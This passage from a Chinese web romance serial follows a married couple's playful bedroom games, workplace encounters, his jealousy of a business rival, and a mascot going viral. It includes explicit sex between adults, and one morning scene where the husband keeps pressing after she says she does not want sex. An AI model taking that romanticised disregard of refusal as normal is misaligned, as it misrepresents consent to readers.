宋时微保持姿势不动,“有惊喜给你啊。” 她的手背在身后,一侧清冷的肩膀裸露在外,谢屿舟目不转睛盯着她。 宋时微尽量维持镇定,不被他的眼神吓到,迎着目光,嗔怒道:“你把手伸出来。” 谢屿舟乖乖伸手,等待她的下一步动作,宋时微又说:“你闭上眼睛,不准睁开不准偷看。” 宋时微小心翼翼从身后拿出手铐,不碰到墙壁不打草惊蛇,按照之前预演的动作,“咔哒”一声,一气呵成迅速完成。 男人的一只手被成功拷住,黑色手铐箍住冷白手腕。 谢屿舟睁开眼睛,俯身凑到宋时微的面前,眼神暗下去,“时时,嗯?” “跟我来。” 男人看清宋时微穿的衣服,是他买的吊带睡裙,难怪遮遮掩掩。 看她今天玩什么把戏。 宋时微牵着谢屿舟回到主卧,将他推倒在床上,骑坐在他的身上,命令道:“你老实点,听我指挥。” “行,今天任你处置。”谢屿舟由着她来,看她将手铐拷在床头。 女人倾起上半身,乌黑长发垂落,扫在他的脖颈,刺刺痒痒,她根本没注意睡裙遮不住东西。 颇有欲拒还迎的效果。 手铐的另一端成功拷在床头,谢屿彻底动弹不得。 宋时微关上顶灯,壁灯氤氲出暧昧旖旎的气氛。趴在他的身上,细吊带摇摇欲坠,深v领一览无余。 睡裙裙摆堆积在根部,修长白皙的长腿裸露在外,同色系黑色内衣半遮半掩、时隐时现。 黑色其实是最性感的颜色,衬得她的皮肤更白。 不需要刻意撩拨,她靠近她,温热的呼吸似有若无洒在他的脖颈,气息两相纠缠之下,已然点燃了内心的火。 谢屿舟的喉咙发痒,又干又涩,全身血液肆意奔涌不管不顾。 宋时微解开他的睡衣纽扣,精瘦健壮的肌肉,宽肩窄腰,散发浓烈的雄性! 气息。 矜贵冷淡的脸配上黑色手铐,反差感十足。 现在他被她捆住,俨然成了她的裙下臣。 宋时微弯腰生疏地吻上去,舔舐、啮咬,仿若自带电流。 男人喉咙溢出暧昧的喘息声,谢屿舟嗓音喑哑,“等不及了?” “是啊,等好久了。”宋时微伸手拨掉头发,嘴里含糊不清。 她势必掌握今晚的主动权,不会处于被动状态。 宋时微不紧不慢不疾不徐,按照自己的节奏走,亲完脸颊亲锁骨,迟迟不进入正题。 谢屿舟早已忍不住,催促她,“乖,自己去。” “等一下。”宋时微摇摇头,不如他的愿。 “老公,你是发烧了吗?” 宋时微的手掌摸来摸去,有意让他难捱。 “时时,别闹。”谢屿舟嗓音沙哑得不成样子,眼睛里充满红血丝,鬓角青筋凸起。 “时时,亲亲我。”内心亟待她的安抚,男人的一只手被控制,另一只手被领带绑住,根本无法活动,。 宋时微坏笑道:“不亲,你会咬人,咬的好疼。” 谢屿舟:“我保证不咬你。” “哦。”宋时微的嘴巴慢慢靠近男人的唇,距离薄唇一寸距离时,她再次停住。 倒回去,含住男人的喉结,在嘴巴里摩挲、舔咬。 亲吻喉结是一个极度暧昧的行为,更何况含在嘴里。 谢屿舟察觉到他低估了宋时微,现在会的花样越来越多。 心里泛起嫉妒,不知道是怎么学的,还是和其他男人…… 他不敢深想下去,声音不自觉冷硬,“时时,给我。” “我知道你也很想。” 隔着衣物,谢屿舟能够感受到她,肉眼可见她的皮肤变得粉红。 宋时微褪去男人碍人的衣物,直面而来的冲击非常可观,比七年前要…… 她咽了咽口水,“那你闭上眼。” “好。” “我先玩会儿。” 宋时微缓慢下移,然后她从男人身上下来,不忘玩一下,迅速跑出主卧,跑到隔壁的次卧,关门反锁。 这一招釜底抽薪,叹为观止。 谢屿舟眼睁睁看着她跑走,没有一点办法,手铐比想象中结实,无论如何挣脱不开,钥匙不知道放在哪里。 他真的很想骂脏话。 撩拨他一整晚,看得到吃不到,现在全身发烫,只能硬生生熬过去。 宋时微录了一个视频,拍到胸口的位置,发给谢屿舟,视频中,她甜腻地喊:“老公,晚安哦。” 果断换掉吊带睡裙,穿上提前准备好的睡衣和内衣。 毕竟,内裤现在没法看,像泡在水里,湿透了。 属于伤敌一千自损八百的做法。 宋时微一人独享大床,隔壁的男人,让火再烧一会儿,他应得的。 手铐还有一个用密码的解法,希望他能发现。 放完最后一把火,宋时微戴上降噪耳塞睡觉,除了闹钟和铃声! ,再无其他可以打扰到她。 主卧的谢屿舟情绪慢慢平息,冷静下来先挣脱领带,研究手铐的解法? 她能安心放他一个人,说明钥匙不是独一无二的答案。 谢屿舟缓慢坐起来,看到一把小的密码锁,四位数的答案,他一个一个实验。 宋时微的生日、他的生日、重逢的日期、领证的日期通通不对。 最后试了他的锁屏密码,是他们在一起的日子。 男人活动下手腕,眼神漆黑,去次卧逮人。 门被反锁,他知道钥匙在哪,算了,让她快活一晚上,算账嘛,慢慢来。 还给他发“晚安”诱惑他,“晚安。” 翌日一早,宋时微看到手机里的消息,看来他找到了解锁的方法。 穿好上班的衣服,她打开门,谢屿舟守在门口,挺括干净的衬衫,妥妥的斯文矜贵模样。 她面不红心不跳打招呼,“你起来了啊。” 对上男人的瞳仁,她的心脏重重漏了一拍,骇人的眼神。 谢屿舟一把扛起她,跨步走进卧室,用脚踢上门。 宋时微高喊,“谢屿舟,你快放我下来。”她的这点力气在他面前,就像蚍蜉撼树。 “时时,你真以为我不知道你的把戏吗,拙劣的演技。” 如此事出反常,顺着他主动勾引他,就不对劲,他没想到最后她什么都没做,他以为她会磨他,慢慢来。 真真是小看了她的定力。 男人从上方压下来,“撩起火就跑,没那么简单。” 宋时微用力推他,“谢屿舟,我不做,我不想做,一会还要上班呢。” 谢屿舟的手指掀开裙摆,“不想还这么湿,大早上就这么湿,昨晚做梦了?梦里是不是被我……” “不是。”宋时微试图讲道理,“我要迟到了,你是总经理没关系,但我不行。” “时间来得及。” “跪好。”谢屿舟将怀里的女人翻个面。 “哦,你是不行吗?这点时间,秒吗?才几回啊,你就萎了,要不去找医院看看吧。”宋时微假装顺从,趁机踢他一脚,迅速跑掉,不让他得逞。 最终逃脱不过,但不能让他轻易得手。 谢屿舟倒吸一口凉气,她真狠,直直踢到下.体,原本没想做,想教训一下她,结果差点被踢废。 男人摁摁鼻根,整理完整衬衫,她喜欢玩,那就慢慢陪她玩。 整天,宋时微惴惴不安,生怕谢屿舟找借口喊她去办公室,毕竟耍了他一回,早上踢了他一次,到时叫天天不应叫地地不灵。 乔言心喊她,“微微去开会了。” 宋时微生无可恋,“来了。” 两个人照例坐在拐角,距离领导最远的位置,等待老板的训斥。 谢屿舟冷淡的脸上毫无表情,男人沉稳道:“最近大家辛苦了,第一阶段的销量不错,奖金提高2个百分点,随时可以休假。” 同事们异口同声说:“谢谢谢总。” 顿了一下,谢屿舟开口,“尤其! 是宋时微的方案,前两天不尽人意,后面反超,没有局限于眼前的蝇头小利,获得了极高的口碑。” 被突然点名,宋时微难为情,“谢总,这是我应该做的。” 谢屿舟平稳说:“接下来是传统的销售淡季,看一下你们的计划铺排。” 要不怎么是领导,先抑后扬、先扬后抑被他玩得炉火纯青。 针对下个月及后面的计划,提出几点建议,落地性如何、新品怎么包装以及年底的活动铺排,走一步看三步。 新来的副总顾斯乔早有应对之法,一一回答谢屿舟的问题,不甩锅主动接过问题,比周天睿好了不知道多少。 开完会,宋时微去茶水间找咖啡,昨晚做了一夜的梦,睡得不太安稳。 她没想到茶水间内,有一位不速之客,宋时微硬着头皮问:“谢总,您要找什么?” 谢屿舟从她身上淡淡掠过,“咖啡。” “给。”宋时微拉开抽屉,隔着超远的距离,递给他。 男人拽着她的手腕,带进怀里,目光极具侵略性,“没人,这么怕做什么?” 宋时微十分害怕,“一会有人进来了。”她不断注意身后门的情况。 寰宇的茶水间是独立的办公室,为的是不让食物或者饮料的香气诱惑到其他同事。 谢屿舟紧紧箍住她,“早上不是胆子很大。” 宋时微严肃解释,“是你要硬来,不关我的事,我那是自卫。” 门外有脚步声,由远及近,攀谈的声音停在茶水间门前。 宋时微猛然推开谢屿舟,男人的腰撞在吧台上。 她不管他怎么样,拿了咖啡离开。 同事打开门,看到谢屿舟,吃惊着打招呼,“谢总好。” 似乎没有注意到他的异样。 谢屿舟颔首示意,转身回到顶楼,在茶水间无意碰见宋时微,差点被她谋杀,一天揍他两次。 男人边走边发消息,【宋时微,你真行。】 宋时微:【你自找的。】 下午五点半,乔言心收拾好东西,准备下班,“微微,你怎么不走?” 宋时微:“我等会,朋友来约我吃饭。” 她说的不是假话,宋池雨从外出差回来,立刻约了她,定在旁边的商场吃火锅。 下午时分和谢屿舟报备过。 谢屿舟回的是,【时时,躲的了初一,躲不了十五。】 第 36 章 不哭[VIP] 第36章不哭[vip] 今天的角色互换,变成谢屿舟等她。 很明显,他在记昨晚的仇,等她回来,将她吞吃入腹、一网打尽。 宋时微闻闻身上的味道,花椒、辣椒和牛油的香味挥之不去,甚至连头发丝都浸透了火锅的味道,“我先去洗澡。” 逃也逃不过,不如老老实实认栽。 两人的肩膀错开之时,谢屿舟强势拉住她的手腕,眼神晦暗,“一起。” 宋时微拒绝,“不了,我还要洗头。” 她自然知道他存了什么心思,只是,没有在淋浴间试过,满打满算,她的性.生活只有两晚。 仅有的两晚却是惊天动地、不眠不休。 “我帮你洗。”谢屿舟态度强硬,从结婚以来,他一贯如此。 宋时微呵斥他,“你是不是被人伺候惯了?这么想伺候别人。” “你哪里我没看过?还怕我看?”男人的脸要贴到她的脸上,气息肆意横行,纠缠在一起。 驴唇不对马嘴,和他沟通根本不在一个频道上。 “随你吧。”宋时微丢下一句话,去找睡衣。 热水自蓬头流下,谢屿舟没有做其他过分的事情,和之前一样,认真给她洗澡,眼神清透,没有任何邪念。 难得! 顶灯太过明亮,坦诚相见,两个冷白皮的人,丝毫没有隐私可言。 不知是热水浸泡,还是害羞所致,宋时微的脸颊染上一抹薄红。 她盯着他的手法发呆,挤两泵洗发水,在掌心打出泡沫,轻轻抓搓,温柔且熟练,一点都不像他。 事出反常,宋时微只觉得今晚谢屿舟奇怪,指不定想什么法子惩罚她。 在她出神之际,谢屿舟突然出声,“在想什么?” 宋时微茫然,“没想什么。” 谢屿舟冲掉她头顶的泡沫,又问:“在想别人吗?” 他的语气稀松平常,听不出特别的意思。 宋时微不明所以,“啊?” 微张的红唇刚好给了谢屿舟可乘之机,他俯身揽住怀里女生的腰身,嘴唇向下一压,完美堵住她想说的话。 宋时微被逼到角落里,男人扣住她的手背,贴在瓷砖上。 他咬她的嘴巴,舔她的耳垂。 在吻里品出了一丝狠厉的意味,以及浓厚的侵占欲望。 背后是冰凉的瓷砖,冰得她一激灵,眼前是充满雄性荷尔蒙的男性肉.体。 谢屿舟不着急,慢慢折磨她,沐浴露抹在每一寸部位,特殊部位特别“照顾”。 宋时微的嘴巴被堵住,完全被压制。 那天她怎么玩了他,今天他就怎么对待她。 情欲是不讲道理的东西,迅速滋生,像被蚂蚁啮咬。 谢屿舟松开她的嘴巴,“求我,就给你。” 宋时微偏过脑袋,表示她的不满,咬住嘴唇不松口。 她不求他,谢屿舟反而反其道而行之。 猝不及防的一! 瞬,宋时微眼前晕眩半秒,差点咬到他的舌头。 舌尖搅动口腔内的津液,又是说不出的满足。 然而,仅仅持续数秒,谢屿舟又撤出去,唇与唇之间拉出银丝。 无人在意的地方,亦如此。 男人一副没事人的模样,冲掉两人身上残留的泡沫。 宋时微忍不住骂他,“谢屿舟,你现在真的是……” “是什么?” 谢屿舟的喉咙溢出轻笑,“彼此彼此。” 故意让她尝到一点点甜头,不解决她的欲望,腹黑的天蝎男。 谢屿舟好心扯下浴巾,披在宋时微身上,“别冻着了。” “你是不是不行了?”宋时微试图采用激将法。 男人反而说:“是,你做好守寡的准备。” 道高一尺,魔高一丈。 宋时微踩他一脚,犹如蚂蚁碰瓷,带不来一点疼痛。 她穿好睡裙,包裹干发帽坐在椅子上吹头发,夺过男人手里的吹风机,“给我。” 终究是没有夺过他。 宋时微的长发在谢屿舟手里飘扬,发丝穿过他的指缝,从镜子里看到男人的表情,许是洗过澡的缘故,眉眼间没有往日的冷冽,添上一丝柔情。 刨除掉他的记仇,现在是难得的温情时刻。 长发八分干的时候,谢屿舟将吹风机扔到一旁,掐住宋时微的腰,抱在桌子上。 “你干嘛?” “你。” 简单一个字,宋时微心里咯噔一下,“你的技术又不行,中看不中用。” 男人将她困在怀里,宋时微仿佛被那黑眸定了身、点了穴,眼睛直直回视,被他的视线牢牢锁死。 就像她的人,同样被箍住。 两个人像在较劲,谁都没有行动。 但他的瞳仁却带着赤裸裸的目的,满眼写着‘吃了她。’ 谢屿舟薄唇轻启,“求我。” 宋时微伸出脚踢他,“我才不求,男人不能惯着。” 她作势要跳下来,男人快她一步,掀开裙摆,单膝蹲了下去,按住她的腿。 暧昧的一角,宋时微的双手撑在桌面,指甲抠上去,夹住他的头。 杏眼迷离,氤氲出朦胧的水雾。 谢屿舟含糊问:“别人愿意这样伺候你吗?” “愿意。”宋时微偏要补充一句,“比你做得好。” 男人手背的血管蜿蜒向下,青筋凸起,死死握住她的脚踝。 他的掌心温度高,似乎被火烤。 光线明亮,在宋时微没有缓过劲的时候,他将她抱在怀里,翻了一个面。 宋时微骤然失声,怀里什么都没有,没有支撑,胳膊肘架在桌子边,承受不容小觑的力量。 她成为砧板的鱼肉,并不认输,“你这些年去哪进修了?和谁练的啊?” 一句话支离破碎。 谢屿舟:“吃醋还是嫉妒?” 宋时微:“都不是,我要谢谢她,前人栽树后人乘凉,比七年前好多了。” ! 谢屿舟嗓音喑哑,“你前任可不怎么样?依旧这么敏/感。” “唔。”后面的话宋时微没办法说出来。 她又变了一个方向,嘴巴被堵住,呜咽声从嘴角溢出,指甲陷进他的肉里。 谢屿舟似是取笑,“还是这里,七年都没变。” 就像男人骨子里的凶狠劲一样,从未变过。 镜子里的他们上半身穿戴整齐只有轻微凌乱,被梳妆台掩藏的部分无法直视。 宋时微无法将现在的谢屿舟与七年前的他联系在一起。 那时的他纯情多了,顶着爆红的耳朵亲她,连接吻都不会,更不用说其他事。 在失控之前,嗓子哑得像砂砾,眼睛泛红,还再三和她确认可以吗?不会后悔吗? 和致力于渣别人的富二代完全不同。 她那时怎么想的? 好像是想确认他的感情,或者单纯就是想和喜欢的人做/爱做的事,内心深处就不是一个乖乖女。 谢屿舟为什么会同意和她开房呢? 从小顺风顺水的人,遇到的唯一的变数来自于她,听她的话表面装不熟,谢师宴逃跑去开房,还做了一整晚,哪个都不像他会做出来的事。 宋时微的思绪漂移,在现实与过去之间徘徊,陡然一下,谢屿舟冷声问她,“又在想谁?” “没想谁。” 她的脖颈向后仰,露出好看的天鹅颈,炙热的呼吸均匀洒落,眼前出现许多幻影。 宋时微猛然想起一件事,有一年去山上挖菌子,吃了没熟的蘑菇,就是这样。 朋友看到的是各种虫子蜈蚣啥的,她看到谢屿舟和别人谈恋爱。 她那时觉得自己要死了,拨通了他公寓的电话,想告诉他她的苦衷,想见见他,想和他道歉,想说的话有很多,电话响了很久没人接听。 等到她清醒之后,又不敢再拨通那个熟记于心的号码。 谢屿舟现在恨她报复她是应该的,但是忍不住泛起酸楚。 突然,“谢屿舟。” 宋时微的思绪被那时的情绪占据,双臂紧紧环住他,眼泪顺着脸颊滑落。 “怎么哭了?” 谢屿舟不知道她怎么了,刚刚和他互怼的人,怎么突然哭了,他拍拍她的背,“好了,好了,我轻轻的。” 明明知道可能是她的把戏,偶尔的示弱是有求于他,每次都忍不住上当。 原本想得教训她的手段,瞬间化为乌有,不舍得动她。 宋时微嗓音哽咽,“你抱抱我。” 今天好像不太一样,谢屿舟停下来,回抱住她,“痛吗?那我轻点。” 宋时微摇摇头,“我不喜欢这样,我想你抱我。” 谢屿舟抚拍她的后背,“好,我抱着你了。” 在他的安抚之下,宋时微缓好了情绪,松开谢屿舟,回想刚刚的自己,被菌子夺取意识了吧,她催他,“你继续吧。” “好。”谢屿舟不敢再惩罚她,吻掉她的眼泪。 时针转了两圈,宋时微和谢屿舟回到卧室! ,“你不是每天11点睡觉吗?” 果然做老板的人,精力旺盛,无论前一晚怎么熬夜,第二天雷打不动地早起。 谢屿舟一本正经说:“夫妻义务是婚姻的必备条件。” 宋时微的眼皮在打架,慢慢阖上眼睛。 梦境是睡前发生的事情的潜意识,宋时微也不例外,梦里陈叙白告诉她,谢屿舟不会娶她,他那样的公子哥,就是和她玩玩。 她和他争辩,“叙白哥,不是的。” 反驳得没有底气,他们是不相配,没人会看好他们。 半梦半醒间,谢屿舟被她的声音吵醒。 连睡梦中都在喊别人的名字,删了联系方式,阻止不了他们见面。 她和陈叙白的交情不一般,唯一一个她不会避嫌、会说笑的男生。 下一秒,宋时微翻了个身,手臂搭在谢屿舟的身上,轻声唤了他的名字,“谢屿舟。” 这次的语调里竟然听出小女生的羞涩。 谢屿舟搂紧她,“我在。” —— 翌日,孟新允带来一则消息,小心翼翼汇报,“谢总,裴家大小姐想来拜访您。” 谢屿舟轻拧眉头,“什么理由?” 孟新允:“谢董说您结婚就是玩玩,没放弃给您介绍相亲,想来联姻的人,纷纷来预约。” 人上了年纪,固执得很,看来上次的表态不够用。 谢屿舟迅速想出对策,交代孟新允,“推了,你想办法传一段话。” 孟新允应声,“好的,谢总我马上去办。” 第 37 章 解释[VIP] 第37章解释[vip] 宋时微一脸问号,“明明是你的合作伙伴,不要把锅甩给我。” 她压着声音嗔怒他,身上套着小猫玩偶服,减弱了清冷的气质,多了一丝可爱。 放在她身上竟然不违和,只是毫无威慑力。 “等一下。” 宋时微从口袋里掏出纸巾,擦掉谢屿舟手指和嘴角残留的口红,“好了,你悄悄溜出去,我换衣服。” 女生转过身体,人偶服的尾巴扫到谢屿舟,他突然有了一个灵感。 额头的汗渐渐干了,他问:“你带衣服了吗?我办公室有淋浴间,可以洗个澡。” 宋时微白了他一眼,嫌事情不够多,“你快走吧。” 幸好门口有孟新允把门,没人注意老板从哪里出来,领导来巡视,胆战心惊,只顾忙自己的事。 宋时微迅速换好衣服,傅景深和谢屿舟站在店门口,谁也没有搭理谁。 两个长相端庄的衣架子在店里,自成活招牌,不一会儿,吸引到一堆人来买饮料。 一阵短暂的忙碌过后,宋时微走过去打招呼,“傅总好。” 并没有和旁边的谢屿舟说话。 谢屿舟意味深长问:“傅总,今天怎么有空过来?” “来看看宋小姐。”傅景深慢悠悠补齐下半句,“设计的玩偶。” 说话不要大喘气啊,宋时微胆战心惊,用余光瞄到谢屿舟的脸色,无波无澜似无风的水面。 往往这种更危险,底下潜藏暗流。 傅景深端详店里的装修,在中庭简简单单布置,胜在位置好,正对主大门,十字路口.交通要道。 “我也是合作方,关心一下是很正常的事。” 谢屿舟颔首回复,“是,傅总慢慢看。” 傅景深却面对宋时微,突然说了一句,“很可爱。” 不知道说的是人还是猫,亦或者是一语双关,只有当事人知道。 孟新允快要对傅景深的话免疫,他看不懂老板,明知道对方居心不良,还能平静合作。 要不说,他做不了老板呢。 “我也觉得很可爱,没想到傅总还有童心。” 谢屿舟抬起冷白色手腕,银色表盘反射出银辉,无意和他继续寒暄,“到饭点了,傅总一起吃点?” 傅景深爽快答应,“行啊,久闻寰宇待遇好,食堂饭菜一绝,正好今天尝尝。” 他喊道:“微微一起。” 宋时微摆手疯狂拒绝,“啊,我就算了吧。” 她不想消化不良,和这两个人吃饭,山珍海味都会食之无味。 傅景深点点头,“也是,没人愿意和老板一起吃饭。” 宋时微严重怀疑,傅景深和她有恩怨,不知什么时候得罪了他,故意在这找事。 谢屿舟淡瞥宋时微,她在给他使眼色,“一起吧。” 周围有其他同事,老板发话,她不得不从。 宋时微的脸色保持微笑,看不见的心情耷拉下去,“! 好的,谢总。” 一行四个人向食堂走去,宋时微假装低头玩手机,走在最后。 她是里面最没有话语权的人,走在一起最突兀的人。 孟新允放慢脚步,移到宋时微旁边,轻声询问:“宋小姐,我女朋友生日要到了,不知道送她什么礼物,网上攻略看花了眼,你能帮我提提意见吗?” 他凭空捏造出一个女朋友,为的是不让傅景深有机会找老板娘聊天。 宋时微认真问:“你女朋友是什么类型的啊?平时喜欢东西啊?” “我想想怎么形容。”这下难倒了孟新允,快要搬起石头砸自己的脚,“我先回个信息。” 在网上疯狂百度女生的类型,找到一个理想型。 “她算可爱的吧,有两个虎牙,平时喜欢买小东西,家里很多娃娃玩偶之类的。” 宋时微又问:“她有特别喜欢哪个卡通形象吗?动漫里的或者盲盒里的。” 孟新允再次卡壳,倏然,他看到前方的立牌,“樱桃小丸子。” 他犹记得,小时候很多同学喜欢看,现在也有很多女生喜欢。 宋时微:“那她有什么小丸子的周边吗?” 孟新允顺着话说:“没有,她说太贵,没必要,又不实用。” 宋时微在脑海里构造出一个可爱的有点节约的小女生形象。 和孟新允挺般配。 “那你送她几个端盒,如果你觉得这些不够的话,我记得日本有一个小丸子博物馆,可以休年假带她去逛逛,顺便旅游。” “我知道了,谢谢太……宋小姐。”孟新允抓紧时间结束聊天,老板没有刀了傅景深,快把他刀死了。 一整个中午,傅景深没有找到机会和老板娘聊天,他这算是大功一件。 说话的功夫,四个人来到食堂。 正值饭点,许多同事看到老板纷纷让道,谢屿舟:“你们先。” 男人对傅景深说:“傅总,别客气,随便吃。” 谢屿舟没有要加菜没有要开小灶的意思,他客气一下,傅景深顺坡答应,哪里给他特殊对待。 而且,傅景深时不时会说些让人多想的话,不值得他好酒好菜招待。 但话又说回来,傅景深不会背后捅刀子,和这样的人相处也有好处,不用担心发生什么事,什么都放到明面上,坦坦荡荡。 乔言心看到宋时微,刚想和她打招呼,看到一旁的老板,立刻噤声。 上次没吃饱的情况历历在目,她不想再体会。 【微微,你怎么和他们坐在一起吃饭?】 宋时微:【说来话长,哀嚎。】 乔言心:【为你默哀三秒,3、2、1时间到,面对两大帅哥,很下饭吧。】 宋时微:【是挺下饭的,给你吧。】 乔言心:【我不要,我坐这很好。】 四个人在最拐角的位置坐下,宋时微和谢屿舟并排,她的对面坐着傅景深。 同事不敢离老板太近,离得比较远,一同吃饭的人知道谢屿舟和宋时微的关系,他不用再躲! 躲藏藏,倒行了方便。 男人不再遮掩,“菜不合胃口?”注意到宋时微一直在捣来捣去,没有动筷子。 宋时微:“没有,你吃你的菜吧。” 谢屿舟淡瞥一眼孟新允,他立刻接到老板的信号,起身去到后厨。 片刻后,食堂的厨师端上几道炒菜,“谢总,您的菜。” “好的,你们下去吧。” 谢屿舟将菜轻轻推到宋时微面前,“给老板娘的单独小灶。” 安静了许久的傅景深,总算找到话题,“谢总还真是贴心。” 谢屿舟慢条斯理道:“毕竟好不容易娶到的老婆,自然要用心对待,傅总没结婚,应该能够体会到结婚是多么难的一件事,光棍好几千万呢。” 傅景深感叹,“所以谢总和宋小姐的感情很让人羡慕,七年不变。” 不论真心还是假意,表面的夸奖也是夸奖,谢屿舟欣然接受,“祝愿傅总早日找到真心的人。” 宋时微:老老实实吃饭中,填饱肚子最重要。 她用最快的速度吃完饭,“傅总、谢总、孟助,我吃饱了,我回去赶方案,你们慢慢吃。” 谢屿舟懒得戳穿她的借口,“回去慢点。” 须臾之间,男人搁下筷子,“傅总,我也吃完了,失陪。” 孟新允接过话茬,“傅总,我一会送您出去。” 餐桌上只留下两个人,气氛尴尴尬尬。 傅景深直言:“你老板防备心太重,不是好事。” 孟新允提醒道:“傅总,老板和宋小姐是法律认证的已婚关系,咱不能做不道德的事。” 傅景深拍拍他的肩膀,“孟助,你想多了。” 孟新允暗自腹诽,明明是你动机不纯心里有鬼,每次出现必定想挖墙角。 “我知道怎么出去,你慢慢吃。”傅景深抽出纸巾擦擦手,食堂菜的味道还不错,值得学习。 短暂的几分钟,餐桌上还有一个人。 孟新允看着一桌子菜发疯,他哪里吃的完,打包做夜宵,又省一笔钱,他要攒钱娶媳妇呢。 这边,宋时微坐在工位上打开各个网络平台,时刻监督舆情和热度,甜花上线后的关注度不高,官方号少有的几条视频,没有多少评论。 除了来逛商场的人,线上几乎没人知道。 主要公司没有大范围花重钱营销和炒作,没有给平台投钱,自然不会徒增流量。 但对她来说,甜花能和大家见面,从想象变成现实,她已经很开心了,而这一切,归根于谢屿舟。 【谢屿舟,谢谢你。】 谢屿舟:【口头的感谢没有诚意,不如晚上少喊几声累,多坚持一会儿。】 宋时微:已读不回,满脑子黄色废料的男人! 下班时间到,宋时微磨磨蹭蹭最后一个才走,男人早她一步上车,靠在椅背上闭目养神。 宋时微交代陈叔开车,她则靠在车窗刷短视频,更多是为了工作,看看能不能找到一些灵感。 她的食指向上滑动,在一个视频处她停下来! ,有人上传谢屿舟和傅景深在商场的视频。 拍摄者站在远处拍摄,画面不够高清,镜头有些晃动,没有美颜,架不住两个男人颜值高,硬是抗住了死亡镜头。 宋时微来回浏览,他们两个的气质并不相同,谢屿舟偏沉稳深沉,傅景深多了一点随性,但又不像池砚舟那般。 她惯例查看评论区,有人问在哪里,两个男人是不是天天在,更有甚者直接暴言,买茶能不能摸腹肌。 其他可以忍,这条评论真的忍不住,宋时微的眉眼向下弯。 突然,身侧低沉的男声响起,“他怎么知道我们七年的时间?” 宋时微:“随口瞎说的吧,不是我透露的。” “我知道。” 谢屿舟当然相信她的话,她不是一个会和别人透露感情的人,她和他之间的那些事,恐怕林以棠都不清楚。 眼下看来,傅景深这个人不得不防,调查清楚他和宋时微的过往,好奇很容易演变成其他情绪。 毕竟,宋时微一直挺招人喜欢,当初要不是他截断,情书能堆成山。 宋时微为自己辩解撇清关系,“傅景深他可能单纯看你不爽。”总之和她没有一丝关联。 谢屿舟打断她的话,黑眸直直凝视她,“嗯?谢太太是不是忘了,我们之间的惩罚。” “现在不是加一根手指能够解决的事。” 男人的手掌放在她的腰上,缓慢缓慢下移,即将掀开衬衫。 宋时微小声怒斥他,“我没为他说话,你不要无理取闹,想方设法给我扣帽子,好满足自己的目的。” 谢屿舟微勾嘴唇,“被拆穿了,离他远点,他的目的不一定单纯。” 宋时微陷入沉思,果然,如陈叙白所言,他对她身边所有的男人敌意都很大,从前是从小一起长大的陈叙白,现在是傅景深,以后是谁呢。 她能相信谢屿舟吗? 不想产生无谓的误会,宋时微偏头问:“谢屿舟,你为什么对我身边出现的男生敌意都那么大?” 谢屿舟:“陈叙白又和你说了什么,他不是什么好人,傅景深他居心叵测,算盘珠子打得这么响,我又不傻,除此之外,我干涉哪个了?嗯?” “哦。”宋时微说,回程路上,全程再无对话。 她细细想来,的确如此。 当下更让宋时微发愁的事是,销量横盘,甜花只能起到辅助作用,而不是重点。 转折往往发生在不经意间,俗话说得好,小火靠捧,大火靠命。 属于甜花的运来了。 事情源于甜花坚持不懈和周围的顾客互动,会跳舞会表演,真的像小猫成了精,甚是可爱。 宋时微每天会给甜花换衣服,今天穿汉服,明天穿公主裙,简直当女儿在养。 有个热心网友,把甜花的精彩瞬间做成视频发到了网上,不知怎地,突然就火了,火得猝不及防。 评论区里很多人喊甜花叫女儿。 【宝贝女鹅,跟麻麻回家吧。】 第 38 章 答案[VIP] 第38章答案[vip] 窗外的天彻底黑透,黑色迈巴赫驶入地下车库,星光屋顶照亮路面。 车子缓慢下行,绕过蜿蜒转弯的地下道路,行驶到最南侧的楼栋。 短短的一小节路,宋时微偷看谢屿舟无数次,男人的神色平平淡淡,忽明忽暗的光影投在他矜贵的脸上,透不出具体的情绪。 绷紧的下颌线,轮廓弧线锋利,晕染满满的疏离和冷漠。 眼眸狭长,紧抿的嘴唇,自带上位者与生俱来的严肃感和凌厉感。 一整天过去,衬衫依旧一丝不苟、工整如初,没有系领带,解开两颗纽扣,锁骨若隐若现。 汽车缓慢刹车停住,陈叔按照以往的指示下车离开,安静的车内剩下一对夫妻。 宋时微的掌心冒出了汗,谢屿舟明确说过介意,她还是和傅景深有私下的接触。 漫长的时间里,她等待男人的爆发。 秒针一秒一秒溜走,不知道转了多少圈,男人缓慢睁开了眼睛,淡淡说了一句,“下车吧。” “好。”宋时微抓起包,差点跌倒,在这十分钟的时间,她半边身子变得僵硬。 谢屿舟和宋时微并排走路,她的肩膀碰到男人的手臂,时不时擦一下,难捱的思绪蔓延。 君姨做好了饭,温热的饭菜冒着热气,暖白色的餐厅灯下,一男一女只剩下木质筷子夹菜和陶瓷勺触碰碗壁的声音。 其中,夹杂了小猫‘喵呜’的萌声。 果冻在餐桌底下蹭宋时微的腿,想提高存在感。 宋时微弯腰抱它坐在腿上,它越来越重,毛发油亮,穿着漂亮的裙子,一看便是精心呵护。 时至今日,她都不知道谢屿舟是怀着什么心情继续养猫的。 偌大的大平层,仿佛变成一个超低压空间,平日里吵闹的布丁安安静静趴在窝里,不似平时的调皮。 偶尔对视上,谢屿舟的黑眸静谧无波,只专心吃饭。 饭后,男人交代一句“我去处理下工作,你先睡。”在客厅消失。 宋时微独自抱着小猫,来回无意识抚摸。 书房内,谢屿舟倚靠在椅子上,微阖眼睛,放在椅子扶手上的手一直处于攥紧的状态,手背处青筋暴起。 男人摁摁太阳穴,宋时微从后门下的车,如她所言,而她去那么远的地方真的是做义工吗? 这时,‘吱呀’一声,果冻推开了门,跑到他的脚下蹭一会儿,咬住他的裤腿向外拉。 一直拉着他走回客厅,才松开了嘴巴。 宋时微正蹲在地上,长发用鲨鱼夹盘起,掉下几缕碎发,清理破碎的玻璃渣和水渍。 许是担心万一有遗漏的小碎渣扎到家里的猫,她用手碾干净碎玻璃。 谢屿舟急步走过去,打横抱起她放在沙发上,“有没有哪里受伤?腿或者手有没有破?” 冷淡的语气里藏不住关心。 宋时微摇摇头,“没有。”她想倒水喝,心里有事心不在焉,手滑了一下,杯子砸在地上。 ! 谢屿舟察看一番她的四肢,没有看到伤口,转回去收拾地上的残渣,用胶布和扫地机器人在地上走一圈,倒出所有的玻璃渣,用胶布缠紧,在表面用记号笔写上:【内有玻璃】。 宋时微默默看着他写他收拾,标注【玻璃】的习惯,还是她教给他的。 锦衣玉食的大少爷哪里会亲自处理垃圾,根本不知道会划伤手。 没想到,他一直记得,且付诸行动。 宋时微玩果冻的前爪子,小声问道:“是你去喊他的吗?” “喵呜喵呜。” 